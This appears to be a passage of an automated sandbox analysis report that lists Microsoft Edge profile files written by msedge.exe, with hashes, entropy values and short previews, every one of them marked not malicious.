friwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2f5fe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a1bf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c8cf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3fd5c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	41554
Entropy (8bit):	6.092120996406735
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kizUXqgfbQ1XUqNNJ8vQYqGwLWZkHUfG6kCvoZ:z/Ps+wsI7ynHXDqfyW0e6kaoZ
MD5:	A98C5443B09F591DCFD07B230B014250
SHA1:	8F934C37E9CF519FAC16DB9C61CACA172554A8E5
SHA-256:	C992D18AD35DB3A46BC21B25C07F072FEFFE631F6F2A1593623FB8E49FD60ED7
SHA-512:	0562FD722C032B8B3ADD39862FBB0527FF36784B96B68E05C90CE6166FC8E08A9DCB9F9453CD6A728B639922A43CAB53A3624BE977A4490B3117CD43738146E9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.007508954500374
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXbXsHSYV:YWLSGTt1o9LuLgfGBPAzkVj/T8lYyy
MD5:	F71B335AD9274C41116EDA27C6D7F898
SHA1:	0F8F44C7F7A3B6C7F7841BF4245A315AB8257D57
SHA-256:	CC3AE689630FFF40EBF84B7D2A481EB22DC574DC339FEEC97A5A09F2A8CC2D2A
SHA-512:	2E63222F78949F944D6A267F997D257D99FD21729B2395C3B211227274E6958A9AEBDC04796FB26881350A2E06CEAB4AD3AA444C5E2CC87986947B5FD1284793
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732392531435357}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a13e9199-accf-43b2-ab66-e81724d687de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43211
Entropy (8bit):	6.09509551662021
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xyAUXqgfbwPSba3xWUPBXDeFcFnUQYqGwLWZkHUfG64:z/Ps+wsI7yO+faBn6qfyW0e6kaoZ
MD5:	E8B1C018D1559DB167118738ED91051A
SHA1:	AF5766205E58C41F3FC54E160630DDDA67658DAC
SHA-256:	E91AFDAC0D07847A5F863941F256712EED761F6923AFD0394ACCFEA186A74822
SHA-512:	A4C926289383B68BE4E88A28EBFE13BEE569D5B61777417A0213DB5EC6404CF7641892073AD62B6557A9A3406C89474EB60FE0C4507C859314F9684B35EB86F6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b978d3da-a45c-4375-abd7-9fb282186f33.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44718
Entropy (8bit):	6.087317204929841
Encrypted:	false
SSDEEP:	768:fMkbJrT8IeQc5G9zBZUXqgfbwPSba34WUPBXDeFcFn29fLdCvocQYqGwLWZkHUfi:fMk1rT8HO9ifaqn29LdaoSqfyW0e6M
MD5:	AFB03516A9F1ACE09848D128458A3A44
SHA1:	0F464588EDAF1279353E6D483AE8111BA7C7C7C3
SHA-256:	995E9F52DB583BFF6CFAC87C7711B06C2147A3537E09FC58B3DEB4859C17B4D3
SHA-512:	9249EA583075C695772EB860F9499A33D7DA051261B41643170AAD5C9DE35C35D198B5B9DF51BAF34323A33708429265245B65E6124E34BDABE09420103F687D
Malicious:	false
